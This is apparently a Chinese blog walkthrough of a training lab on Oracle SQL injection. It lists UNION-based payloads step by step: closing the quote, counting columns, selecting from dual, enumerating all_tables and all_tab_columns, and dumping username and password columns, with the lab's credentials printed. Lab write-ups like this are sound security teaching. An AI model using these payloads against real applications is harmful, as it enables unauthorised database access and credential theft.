您现在的位置是:首页 >学无止境 >Lab6_ SQL injection attack, listing the database contents on Oracle网站首页学无止境

Lab6_ SQL injection attack, listing the database contents on Oracle

远川_Horizon 2025-02-23 00:01:03
简介Lab6_ SQL injection attack, listing the database contents on Oracle

前言:

实验室标题为:

SQL 注入攻击,列出 Oracle 数据库内容

等级:执业者

简介:

本实验室包含产品类别过滤器中的 SQL 注入漏洞。查询结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中获取数据。

应用程序有一个登录功能,数据库中有一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容,以获取所有用户的用户名和密码。

要解决实验问题,请以管理员用户身份登录。

进入实验室

依旧是商店页面

构造 payload

尝试闭合

单引号+注释符

https://xxxxxx/filter?category=Lifestyle' --

页面返回正常

and 1=2 判断

https://xxxxx/filter?category=Lifestyle' and 1=2 --

and 1=1 页面正常,and 1=2 页面空白,说明页面存在 SQL 注入

order by 排序

https://xxxxx/filter?category=Lifestyle' order by 2 --

页面返回正常,说明有两列数据

union 联合查询

https://xxxxxx/filter?category=Lifestyle' union select null,null --

这里直接写 union select 页面显示服务器内部错误,可能是 oracle 数据库,oracle 数据库对语法格式要求比较严格,存在虚表 dual

修改 payload 语句

https://xxxxxx/filter?category=Lifestyle' union select null,null from dual --

页面显示正常

查看用户

oracle 数据库没有 database(),只有 user

https://xxxxxx/filter?category=Lifestyle' and 1=2 union select user,null from dual --

继续查看版本

https://xxxxx/filter?category=Lifestyle' and 1=2 union select banner,null from v$version --

获取表名

https://xxxxxxx/filter?category=Lifestyle' and 1=2 union select table_name,null from all_tables --

USERS_YUCUQH

继续获取列名

https://xxxxx/filter?category=Lifestyle' and 1=2 union select column_name,null from all_tab_columns where table_name='USERS_YUCUQH' --

EMAIL

PASSWORD_QTBFNA

USERNAME_XYSGVB

拿数据

https://xxxxxx/filter?category=Lifestyle' and 1=2 union select USERNAME_XYSGVB,PASSWORD_QTBFNA from USERS_YUCUQH --

administrator

gvlxc96qyzb4osvfuiti

carlos

rshr1c0ybr3rlixny63b

wiener

xg9vp5evc88ug7k56lva

登录管理员账户,成功通关

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。